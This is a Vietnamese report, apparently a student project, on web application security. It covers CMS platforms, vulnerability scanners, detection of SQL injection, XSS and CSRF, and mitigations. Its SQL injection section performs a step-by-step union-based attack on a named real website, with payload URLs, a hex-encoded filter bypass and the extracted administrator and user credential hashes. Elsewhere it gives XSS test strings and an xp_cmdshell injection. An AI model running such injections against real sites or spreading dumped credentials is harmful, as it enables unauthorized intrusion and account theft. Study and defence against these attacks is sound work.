như: Webmail, bán hàng trực tuyến, wiki, từ điển, bản đồ, mạng xã hội..v…v.. Xu hướng website tương tác đang phát triển mạnh với sự ra đời của Web 2.0, 1 thuật ngữ bao gồm nhiều công nghệ đã có, nhưng có nhiều tính năng tương tác cao, người dùng là trung tâm Hình 3: Công nghệ Web 2.0
  • 9. Hình 4: Một Web Application 2.2 Cấu trúc và cách hoạt động của Web Application Một ứng dụng Web thông thường được cấu trúc như một ứng dụng ba lớp. Ở dạng phổ biến nhất, một trình duyệt Web là lớp thứ nhất, một bộ máy sử dụng một vài công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion, JSP/Java, PHP, Python, hoặc Ruby On Rail) là lớp giữa, và một cơ sở dữ liệu là lớp thứ ba. Trình duyệt sẽ gửi yêu cầu đến lớp giữa, lớp giữa sẽ phục vụ bằng cách tạo ra truy vấn và cập nhật cơ sở dữ liệu và tạo ra giao diện người dùng. Cụ thể người dung khởi tạo yêu cầu ban đầu bằng trình duyệt thông qua Internet đến máy chủ ứng dụng web. Ứng dụng web sẽ truy cập vào máy chủ cơ sở dữ liệu để thực hiện các nhiệm vụ yêu cầu và lấy các thông tin nằm trong cơ sở dữ liệu. Các ứng dụng web sau đó trình bày các thông tin lấy được cho người sử dụng thông qua trình duyệt Hình 5: Thành phần của một Web Application
  • 10. Hình 6: Cách thức hoạt động của một Web Application Hình 7: Cách thức hoạt động của một Web Application
  • 11. 3. Giới thiệu các Web Application được tạo bởi WordPress, Joomla, VBB Ngày nay, việc sở hữu trong tay một trang Blog, Website hay diễn đàn cá nhân miễn phí trở nên rất dễ dàng bởi sự phát triển nhanh chóng của các mã nguồn mở cũng như các dịch vụ và công cụ hỗ trợ tạo ra chúng. Mã nguồn mở là một bộ khung, thư viện được một tổ chức uy tín trên thế giới đứng ra phát triển và chia sẻ cùng với hàng nghìn lập trình viên rải rác trên thế giới. Người quản trị cần có sự hiểu biết về các mã nguồn mở để có thể thiết kế, xây dựng, cài đặt và hướng dẫn để vận hành trang web. Nếu xét đến chi phí để thiết kế, cài đặt và xây dựng một trang bằng mã nguồn mở thì là khá rẻ nhưng thường là miễn phí với những ai tự làm. Web được viết bằng mã nguồn mở cũng có nhiều phiên bản, được cập nhật và hỗ trợ khá nhanh 3.1 WordPress WordPress là một mã nguồn mở và hoàn toàn miễn phí để làm blog, trang web cá nhân, WordPress được viết bằng ngôn ngữ lập trình PHP và sử dụng MySQL database. WordPress là một trong những mã nguồn được sử dụng nhiều nhất bởi khả năng tùy biến cao, dễ sử dụng và sự phổ biến của nó Đặc tính nổi bật - Hệ thống Plugin phong phú và cập nhật liên tục, bạn cũng có thể tự viết plugin - Hỗ trợ nhiều ngôn ngữ - Được cập nhật, vá lỗi và hỗ trợ liên tục - Có rất nhiều Theme miễn phí, chuyên nghiệp và SEO rất tốt - Tích hợp sẵn Latex – công cụ soạn thảo công thức toán học, bạn có thể viết công thức toán học ngay trong bài viết - Upload và quản lý hình ảnh một cách dễ dàng, đặc biệt là chức năng tạo thumbnail - Có một hệ thống Widget đa dạng ( ứng dụng tạo thêm ) khá đa dạng như thống kê số người truy cập, danh sách các bài viết mới, các bài viết nổi bật, được xem nhiều, được comment nhiều,..v..v.. - Hệ thống phân quyền với nhiều cấp độ khác - Hệ thống quản lý và duyệt Comment rất hay, có thể chặn spam theo IP - Sao lưu dữ liệu và di chuyển dữ liệu một cách dễ dàng - Hỗ trợ import đa năng từ các Blog khác như Blogspot, Tumblr, Blogger, LiveJournal
  • 12. - WordPress hỗ trợ 3GB để lưu trữ hình ảnh và văn bản Nhược điểm của WordPress - Chi phí đầu tư và bảo trì hosting cao - Cần phải cài đặt, tạo database ban đầu - Muốn tùy biến WordPress hay chỉnh sửa template cần phải có kỹ năng lập trình - Sử dụng các theme đẹp và plugin tốt thì phải trả phí - Quá nhiều hàm có sẵn và các khái niệm khó. - Bị bộ phận hỗ trợ và quản lý của WordPress can thiệp khi thấy hoạt động của Website có những thay đổi bất thường. Hình 8. WordPress 3.2 Joomla Joomla là hệ thống quản trị nội dung mã nguồn mở, Joomla được viết bằng ngôn ngữ PHP và kết nối tới cơ sở dữ liệu MySQL, giúp chúng ta xây dựng các trang web cũng như các ứng dụng trực tuyến khá mạnh mẽ. Đặc tính nổi bật - Dễ sử dụng, thân thiện đối với cả những người nghiệp dư và các chuyên gia - Joomla có một thư viện các ứng dụng (extensions) khổng lồ được lập trình bởi các lập trình viên khắp nơi, từ những giao diện ở mức đơn giản cho tới phức tạp, hầu hết là miễn phí, giúp bạn có rất nhiều lựa chọn mở rộng tính năng cho website của minh - Dễ dàng tìm và sửa các lỗi gặp phải - Joomla cung cấp các tài liệu hướng dẫn sử dụng từ cơ bản cho tới nâng cao, tài liệu API dành cho lập trình viên, phát triển viên được cung cấp đầy đủ Nhược điểm của Joomla - Mã nguồn của Joomla tương đối lớn dẫn tới tốn nhiều tài nguyên hệ thống - Việc có quá nhiều extensions được viết bởi rất nhiều lập trình viên khác nhau dẫn tới tiềm ần các lỗi bảo mật trong các extensions đó - Khả năng SEO của Joomla kém nhất trong các loại mã nguồn mở - Độ tương thích với các loại hosting không cao, không chạy tốt trên máy chủ Windows ISS
  • 13. - Số lượng lệnh truy vấn đến SQL Server nhiều Hình 9. Joomla 3.3 vBulletin vBulletin là một sản phẩm phần mềm được viết bằng PHP và lấy MySQL làm cơ sở dữ liệu, vBulletin dùng để xây dựng cộng đồng (forum) trên internet. Đặc điểm nổi bật - Giao diện đẹp, tính bảo mật cao, quản lý dễ dàng, nhiều chức năng - Có khá nhiều các Addon, Skin, Theme và Style khác nhau - Chức năng cho người quản trị khá đầy đủ và có nhiều lự chọn - Có thể sử dụng, chỉnh sửa, upload file lên host dễ dàng - Có thể tải file backup để tạo lại diễn đàn mới Nhược điểm của vBulletin - Sự bảo mật và an toàn tùy thuộc vào khả năng, kiến thức, kinh nghiệm, sự cẩn thận của từng người quản trị - Là một mã nguồn có thu phí, sẽ bị tịch thu, xử lý nếu dùng lậu - ACP tuy đầy đủ chuyên nghiệp, nhưng phức tạp - Tạo skin, theme phức tạp - Tốc độ truy xuất dữ liệu còn hạn chế, chạy khá nặng với dung lượng dữ liệu lớn và rất tốn bandwidth - Tốn phí duy trì domain và host. Hình 10. vBulletin 4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application
  • 14. 4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application a. SQL Injection Có một cách đơn giản để kiểm tra website của bạn có bị lỗi SQL injection hay không: Bước 1: Mở trình duyệt và gõ vào địa chỉ website cần kiểm tra. Bước 2: Tìm một đường dẫn nào đó có dạng: http://ten-website.com/?cid=1&pid=2 ... Sau đó bạn thêm dấu nháy đơn ' hoặc nháy kép " vào đường dẫn trên: http://ten- website-cua-ban.com/?cid=1&pid=2' Nếu bạn thấy dòng thông báo tương tự: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in tức là website của bạn đang bị lỗi SQL Injection b. Cross Site Scripting (XSS) Một site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau: search results, error messages, Web-form, chủ yếu lỗi XSS nằm ở các phần này, nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó. Cách tìm lỗi để cho rõ ràng thì có thể chia thành 5 bước: Bước 1: Mở website cần kiểm tra. Bước 2: Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit, login hay ok gì đó ). Bước 3: Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về: Ví dụ như thế này : • "Your search for 'XSS' did not find any items" • "Your search for 'XSS' returned the following results" • "User 'XSS' is not valid" • "Invalid login 'XSS" hoặc là cái gì đó mà có dính tới chữ "XSS" mà mình nhập vào ban đầu thì 99% "Alert" này bị XSS. Chú ý: Các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào. Hãy thử với những script này: hoặc < i*g csstest=java script:alert('XSS')> hoặc có thể là &{alert('XSS')}; c. Cross-site Request Forgery (CSRF) Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF là khá cao, tức là nếu chúng ta replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi. CSRF sẽ lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng Web, một số action gây ra việc thay đổi CSDL như insert, update, delete… dẫn đến lỗi này nằm ở chỗ các request sẽ insert, delete và update vào cơ sở dữ liệu. Tại Website các request này có thể tồn tại trong những thẻ <IMG>, <IFRAME>, trong các textbox hoặc button… 4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application 4.2.1 Paros Proxy Paros Proxy là một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụng web trên Proxy. Một trang web trên nền Java thường kết hợp dạng proxy điều đó dẫn tới có nhiều lỗ hổng bảo mật. Phần mềm này hỗ trợ cho phép thay đổi/xem các gói tin HTTP/HTTPS và thay đổi chúng ở cookies. Bao gồm một tính năng Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting. Trước khi
  • 15. cài đặt Paros Proxy bạn phải cài Java SE Runtime Environment 32 bit vì Paros Proxy được viết trên nền tảng Java và chỉ chạy được trên JRE 32 bit Hình 8: Giao diện chương trình của Paros Proxy Hướng dẫn quét lỗ hổng bảo mật Website bằng Paros Proxy Tools Bước 1. Mở chương trình vào Analyse -> Scan Policy để chỉnh sửa chính sách Scan (thêm/bớt nếu muốn) Bước 2. Tiếp theo vào Tool -> Options -> Local Proxy để chỉnh Local Proxy với Address là localhost và Port là 8080 Bước 3. Tiếp theo vào máy tính chỉnh Proxy bằng cách vào Control Panel -> Internet Options -> Connections -> LAN Setting chỉnh Local Proxy với Address là localhost và Port là 8080 Bước 4. Tiếp theo vào trình duyệt Mozila Firefox để chỉnh Proxy bằng cách vào Options -> Advanced -> Network -> Setting chỉnh Local Proxy với Address là 127.0.0.1 và Port là 8080 Bước 5. Sau đó tìm 1 Website nghi ngờ bị lỗi sau đó cho chạy trên trình duyệt Bước 6. Tiếp theo vẫn ở Site đang chọn, nhìn vào khung bên phải có thể xem được các thông tin của trang Web Server đang Scan như: phương thức (POST/GET), host, kiểu kết nối, tên miền phiên bản trình duyệt, ngôn ngữ,..v.v... Bước 7. Tiếp theo nhìn vào bên trái giao diện chương trình, ở phần Site click vào Site mình vừa chạy và vào Analyse -> Scan để tiến hành quét Bước 8. Sau khi thấy có thông báo OK xuất hiện, tức là Scan xong thì vào Report -> Last Scan Report để xem kết quả
  • 16. Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy 4.2.2 Acunetix Web Vulnerability Scanner Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng như các phương thức xác thực vào Web Site. Acunetix WVS là một công cụ quét lỗi cho ứng dụng Web dựa trên một cơ sở dữ liệu rộng lớn được cập nhật thường xuyên, với các thuật toán Heuristic đáp ứng được các cơ chế họat động phức tạp của môi trường Web. Acunetix WVS có thể tự động kiểm tra các lổ hỗng thông dụng và các mối nhạy cảm khác của những web site có thể truy cập bằng trình duyệt, hay những ứng dụng được xây dụng trên các kỹ thuật tiên tiến như AJAX.. để thực hiện được điều này Acunetix WVS dựa trên nhiều phương pháp và công cụ tích hợp để: • Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả trong tập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết.
  • 17. • Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, Acunetix WVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổ hổng, giống như khi web site bị một hacker tấn công thực sự, phân tích các trang và những vị trí có thể nhập liệu cùng với các sự kết hợp khác nhau của dữ liệu đầu vào có thể làm cho website hiển thị những thông tin nhạy cảm. • Sau khi tìm ra được các lổ hổng, Acunetix WVS thông báo trên các “Alerts Node”, mỗi alert gồm các thông tin về lỗi cũng như các mối nguy hiểm có thể gặp phải và “dĩ nhiên” là kèm theo các khuyến nghị về cách thức khắc phục. • Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin để phân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web master dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của mình. Sau khi quét, Acunetix WVS sẽ liệt kê cấu trúc của site, phiên bản webserver đang sử dụng, URL không tồn tại, các lỗi phát hiện được cũng như mức độ Security của site đang quét, nhìn hình các bạn sẽ thấy những liệt kê rất cụ thể. Mức độ bảo mật của website được AWV đánh giá từ low, medium, high. Nếu website của bạn được liệt kê ở mức low, hãy nhanh chóng fix lỗi mà AWV liệt kê Cửa sổ tool Explorer cung cấp cho ta các công cụ WebScanner gồm Tool (Site Scrawler, Target Finder, Subdomain, Authentication,..v..v.. ), Web Service, Configuration, General chỉ cần nhấp chuột vào công cụ nào đó để AWV thực hiện nhiệm vụ của mình Cửa sổ bên phải trên cùng 1 lần nữa liệt kê lại các công cụ Dưới phần này là phần thao tác nhanh đến các dịch vụ như NewScan, Sample Scan, Reporter,..v..v. Sau khi config chương trình hoàn tất, ta tiến hành quét, AWV sẽ cung cấp cho bạn phiên bản của Webserver nếu detect được, các ứng dụng Web đang chạy, cổng mở, cấu trúc site, mức độ Secure, các URL có thể lợi dụng, ngôn ngữ, kiểu kết nối và thông tin về cách khai thác, và quan trọng là các lỗi đang có. Hình 10: Giao diện của Acunetix Web Vulnerability Scanner
  • 18. Hướng dẫn quét lỗ hổng bảo mật Website bằng Acunetix Web Vulnerability Scanner Tạo 1 phiên Scan mới bằng cách vào click vào New Scan trên chương trình Ở phần Scan Single Website gõ vào địa chỉ site cần scan Tiếp theo click Next xuống tab Option để tùy chỉnh chính sách vá cấu hình Scan ở phần Scan Profile và Scan Testing mặc định để Default Tiếp theo click vào Next để xuống tab Target, ở tùy chỉnh này chúng ta để mặc định và click Next Tiếp theo chuyển xuống tab Login phần này có thể để mặc định Cuối cùng nhấn Finish -> OK và đợi Scan xong xem kết quả. Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner
  • 19. 4.2.3 Maxisploit Scanner Maxisploit là phần mềm để Scan các lỗi Sql Injection và XSS trong các website. Nó có thể scan một loạt các website của một nước dựa vào từ khóa mà chúng ta chọn. Hình 12. Giao diện làm việc Maxisploit Scanner
  • 20. Công cụ Maxisploit có bốn mục đích chính, như sau:  Đối với lỗi SQL Injection nó sẽ quét các trang web dễ bị tổn tương dựa trên lỗi SQL phổ biển cho nhiều hệ quản trị cơ sở dữ liệu, như: MySQL, SQL server, Microsoft Access,..Các scan khác nhau: nó sẽ quét các trang web không hiển thị lỗi SQL nhưng dễ bị tổn thương  Đối với XSS scanner: Nó sẽ mác hóa XSS vector và cố gắng quét kết quả nhận được từ máy chủ web (web server). Nếu XSS vector được tìm thấy bên trong mã nguồn thì trang web đó có lỗi. Nó chỉ sử dụng yêu cầu GET đến web server.  Admin scanner: Nó sẽ quét tới trang đăng nhập admin, dựa vào dánh sách mặc định hay bất kì danh sách mà bạn cung cấp. Nếu nhận hồi đáp với mã 200 và 306 thì được xem xét thành công.  Shared hosting scanner: Nó sẽ gửi yêu câu to sameip.org và sau đó phân tích mã html cho các trang. Hình 13. Kết quả Scan của Maxisploit Scanner 5. Một số lỗ hổng bảo mật Web Application 5.1 Lỗi SQL Injection 5.1.1 Khái niệm Ứng dụng Web cho phép User truy cập Website hợp pháp để up và tải dữ liệu ra / vào một cơ sở dữ liệu qua Internet bằng cách sử dụng trình duyệt web ưa thích của họ. Cơ sở dữ liệu là trung tâm lưu trữ dữ liệu cần thiết cho các trang web để cung cấp nội dung, thông tin cụ thể cho User và là cho thông tin cho khách hàng, nhà cung cấp, nhân viên và một loạt các bên liên quan. SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trảvề để inject (tiêm vào) và thi hành các câu lệnh
  • 21. SQL bất hợp pháp, Sql Injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. Công cụ dùng để tấn công là chỉ cần một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Mozila Firefox, Chrome,.v..v.. Hình 14. Phương pháp luận của tấn công SQL Injection 5.1.2 Các dạng tấn công Dạng tấn công vượt qua kiểm tra lúc đăng nhập Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang : 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng Dạng tấn công sử dụng câu lệnh Select Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm, các trang có textbox. Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp để tìm kiếm. Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị, Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Câu truy vấn này sẽ thực hiện việc mà hacker mong muốn trong câu lệnh của họ.
  • 22. Dạng tấn công sử dụng câu lệnh Insert Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào Dạng tấn công sử dụng Stored-Procedures Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C: cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.fg Hình 15. Các dạng tấn công SQL Injection 5.1.3 Cách thức và phương pháp tấn công a. Các con đường khai thác. Qua User Input: User input điển hình thường đến từ các form nhập liệu, form search hay link… Những dữ liệu này được web browser gửi đến server thông qua phương thức HTTP GET hay POST và trở thành các tham số cho ứng dụng web truy cập tới cơ sở dữ liệu Qua Cookies: Cookies là những tệp tin lưu trữ thông tin trạng thái của người dùng khi truy cập các ứng dụng web. Những thông tin này do người lập trình quyết định, được tạo ra ở server và lưu trữ tại client. Khi người dùng truy cập lại ứng dụng web, cookies được browser gửi lên server giúp phục hồi lại những trạng thái của người dùng trong lần truy cập trước đó. Do được lưu trữ ở client nên người dùng có thể chỉnh sửa tùy ý, vì vậy nếu ứng dụng web sử dụng những thông tin lưu trong cookies để xây dựng các truy vấn tới cơ sở dữ liệu thì hacker hoàn toàn có thể chèn vào cookies những script sql để thực hiện một cuộc tấn công Sql Injection Qua các biến Server
  • 23. Biến server có thể là một khái niệm tương đối lạ lẫm nhưng nó không hề mới. Một số ví dụ của biến server là Http header, Network header… Không phổ biến lắm nhưng các giá trị được lưu trong biến server có thể được ứng dụng web sử dụng như trong việc logging truy cập hay thống kê truy cập theo user agent… Những công việc này đều có sự tương tác với cơ sở dữ liệu nên các hacker hoàn toàn có thể sử dụng các biến server trong việc khai thác Sql Injection. b. Kỹ thuật khai thác Boolean Based và Time Based Blind SQL Injection Boolean based: Cơ sở của kỹ thuật này là việc so sánh đúng sai để tìm ra từng ký tự của những thông tin như tên bảng, tên cột… Do đó, với dải giá trị chữ số, chữ cái (bao gồm cả hoa, thường) và một số ký tự đặc biệt, việc so khớp trở nên rất khó khăn và đòi hỏi nhiều thời gian. Do đó việc khai thác lỗi chủ yếu được tiến hành bằng tools. Trong kỹ thuật Blind SQL injection (BQLi), chúng ta cũng có nhiều phương pháp khác nhau. Điểm khác biệt giữa các phương pháp này là sự tối ưu thời gian. Khái niệm Time based: Giống như boolean based attacks chỉ khác nhau về cách suy diễn VD: id = 1 and ascii(mid((query), position, 1)) > ? -- Union Query Based Đây là phương pháp phổ biến khi khai thác Sql Injection. Cơ sở của nó là sử dụng từ khóa union để gộp các kết quả của các mệnh đề select, qua đó lấy được thông tin từ cơ sở dữ liệu, cụ thể nó dùng để ghép nối các kết quả của hai hay nhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất. VD: http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,4 -- Batched Query Đây là phương pháp áp dụng khả năng thực thi cùng lúc nhiều câu lệnh Sql của một số hệ quản trị cơ sở dữ liệu và khả năng hỗ trợ của ngôn ngữ lập trình. Phương pháp này rất mạnh mẽ và gây nguy hiểm ngay với hệ thống. Bằng cách thêm vào một dòng lệnh Update, Insert hay Delete, dữ liệu trong cơ sở dữ liệu của ứng dụng web không còn toàn vẹn nữa VD: http://www.abslatin.co.uk/node.php?id=1 delete tablename, insert column-- Order by Clause Không giống như các phương pháp trên, nội dung inject nằm trong mệnh đề điều kiện where. Trong phương pháp này, chúng ta sẽ cố gắng tiêm mã script vào mệnh đề order VD: http://www.abslatin.co.uk/node.php?id=1 order by 2-- Người lập trình muốn liệt kê sản phẩm của công ty bao gồm các thông tin: Mã sản phẩm, Tên sản phẩm, Ngày tháng… và có chức năng cho phép người dùng tùy chỉnh xem họ muốn sắp xếp theo thứ tự ngày tháng, theo tên hay mã của sản phẩm. VD: select id, name, price from product where id order by $varOrder Trong trường hợp này chúng ta không thể thêm trực tiếp một mệnh đề sub select thông qua từ khóa union như mọi khi được. Một cách khai thác đó là sử dụng BATCHED QUERY, phương pháp này có thể Inject được một sub select nhưng rõ ràng cách thực hiện này giờ đây phải kết hợp cả với kỹ thuật BOOLEAN BASED BLIND SQLI
  • 24. Hình 16. Các cách phát hiện tấn công SQl Injection c. Cách thức tấn công Sau đây xin giới thiệu cách tấn công SQL Injection qua phương pháp khai thác lỗi Inband SQL - Inband SQL là phương pháp dùng hàm Union để khai thác, Union là hàm liên kết 2 truy vấn Select với nhau, cụ thể nó dùng để ghép nối các kết quả của hai hay nhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất. Từ Version 5 trở đi MySQL có thêm 1 database hệ thống là information_schema, các table hệ thống của nó là tables, columns 2 table này chứa tên các table và column của Website trên hệ thống - Inband SQL là lỗi cho phép hiện số column và tên từng column của các bảng, từ đó khi biết được bảng rồi thì ta có thể lấy được các cột và thông tin trong cột 1 cách dễ dàng - Đầu tiên tìm site bị lỗi SQL Injection, trang ở đây là http://www.abslatin.co.uk - Cách kiểm tra trang này bị lỗi SQL Injection, đầu tiên chạy http://www.abslatin.co.uk/node.php?id=1 không thấy lỗi gì, tiếp theo thêm dấu ‘ sau số 1 là http://www.abslatin.co.uk/node.php?id=1’ thấy báo You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Như vậy đã thấy lỗi SQL Injection và có thề khai thác - Tiếp theo tìm số cột của biểu đồ CSDL bằng cách chạy http://www.abslatin.co.uk/node.php?id=1 order by 1-- Ở đây ta dùng dùng order by đế xác định cột, tăng giá trị lên 1 đơn vị như http://www.abslatin.co.uk/node.php?id=1 order by 2-- đến khi nào thấy thông bào lỗi thì dừng lại. Thấy đến 5 là báo lỗi Unknown column '5' in 'order clause' suy ra biểu đồ CSDL có 4 cột từ 1 đến 4.
  • 25. - Chú ý ở đây chúng ta sử dụng dấu -- sau cùng đường link là đến loại bỏ những phần sau câu truy vấn, trong phpmysql thì nó dùng để ghi những comment - Tiếp theo ta tìm số cột trong biểu đồ CSDL bị lỗi ta chạy http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,4-- Ở đây id nên để là Null như trên để kết quả câu truy vấn trả về là rỗng, đôi khi mới có thể show được các column bị lỗi, ta thấy cột số 4 bị lỗi. - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,version()-- để lấy thông tin Version Database sẽ thấy báo 5.1.73-log. - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=5 union select 1,2,3, group_concat(table_name) from information_schema.tables where table_schema=database()-- để lấy danh sách bảng trong database thì thấy hiện ra các bảng sau administrators, album, events, gallery, links, news, p_album, p_categories, p_events, p_gallery, p_links, p_news,p_products, p_salsa, p_suscriptors, p_users, p_videos, salsa, suscriptors, users, videos - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e6973747261746f7273-- đề lấy các cột trong bảng administrators, ở đây phải thực hiện phương pháp bypass filter addslashes() nếu bạn chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(column_name) from information_schema.columns where table_name=administrators-- là không được và sẽ báo lỗi Unknown column 'administrators' in 'where clause' Với phương pháp này ta sẽ convert tên administrators sang mã HEX sau đó thêm 0x vào trước kết quả để được 0x61646d696e6973747261746f7273, kết quả là ta đã thấy được có các cột id, user_name, user_password Bạn cũng có thể xem thêm các cột của các bảng khác xem thêm cột của bảng users như sau http://www.abslatin.co.uk/node.php?id=5%20uNion%20seleCt%201,2,3,group _concat%28column_name%29%20from%20information_schema.columns%20 where%20table_name=0x7573657273-- thì thấy có các cột IdUser,PasswordUser,NameUser - Tiếp theo chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(id,0x2f,user_name,0x2f,user_password) from administrators -- - để lấy username và password của admin trong bảng administrators, ta thấy các thông tin sau: 1/admin/$P$Bstga7byV42vvh7WVT/pPFPZw6j7ET. 2/annie/$P$BTUKe71XDGMYoJDlcc.6Nn72iIjPjU0 3/paul/$P$BgFBCcChouCvPmMIhKcHmnkwxBPCqB
  • 26. Để xem thêm username và password của user trong bảng users ta chạy http://www.abslatin.co.uk/node.php?id=5 uNion seleCt 1,2,3,group_concat(IdUser,0x2f,PasswordUser,0x2f,NameUser) from users- - thì thấy các thông tin sau admin/0e4a20a448032584af3f285a2ad2d9d3/AMAUTA CONSULTORES annie/c34d257b21c744ba5ed8d6863ee34b8e/Annie - Tiếp theo tìm trang dăng nhập của Admin bằng cách, thử thủ công như thêm /admin, /admincp, /login, .v.v.v thử online hoặc dùng tool, với trang này ta chưa tìm được trang login Admin. Có thể nó đã bị cấm hay ẩn. - Ở đây ta thấy mật khẩu của user và admin trong bảng administrators đã được mã hóa theo kiểu md5 Wordpress Hash nên phải giải mã, bước này ta nên thử các trang decrypt md5 online hay thử crack bằng Kali Linux, nhưng kết qủa cũng chưa được, nên thử lại hoặc tìm cách khác - Một chú ý nữa là trong quá trình thực hiện các bạn có thấy trong câu truy vấn có viết in hoa 1 số từ như uNion seLect, biện pháp này nhằm để bypass qua sự kiểm tra. - Khi 2 bước trên hoàn thành, bạn có thể, login vào trang Admin hay Login vào Cơ sở dữ liệu, và thao tác trên đó - Nhằm mục đích học tập, lấy kinh nghiệm và các phòng chống, khuyên các bạn không nên có các hành vi và mục đích xấu. 5.1.4 Cách phòng chống và bảo mật a. Sử dụng ràng buộc hay giới hạn tham số truy vấn, kiểu tham số, thủ tục khi lưu trữ tham số (nên kết hợp với ràng buộc hay giới hạn tham số truy vấn) - Hãy loại bỏ các kí tự meta như ‘ “ / ; và các kí tự extend như NULL, CR, LF,..v..v..trong các string nhận được từ: input do người dùng đệ trình, các tham số từ URL, các giá trị từ Cookies. VD: "select * from table where columna=? and columnb=?" - Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. Cụ thể: - Sử dụng những câu lệnh, tham số truy vấn đã qua chuẩn bị - Thủ tục lưu trữ tham số - Thoát khỏi tất cả các user cung cấp đầu vào b. Set quyền cho các kết nối (Luôn luôn sử dụng tài khoản với đặc quyền tối thiểu cần thiếtcho các ứng dụng trong, không nên sử dụng các từ "sa", "dba", "admin", hoặc tương đương.) - Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security - Xóa các stored procedure trong database master mà không dùng như: xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask Hình 17. Cách phòng chồng tấn công SQL Injection
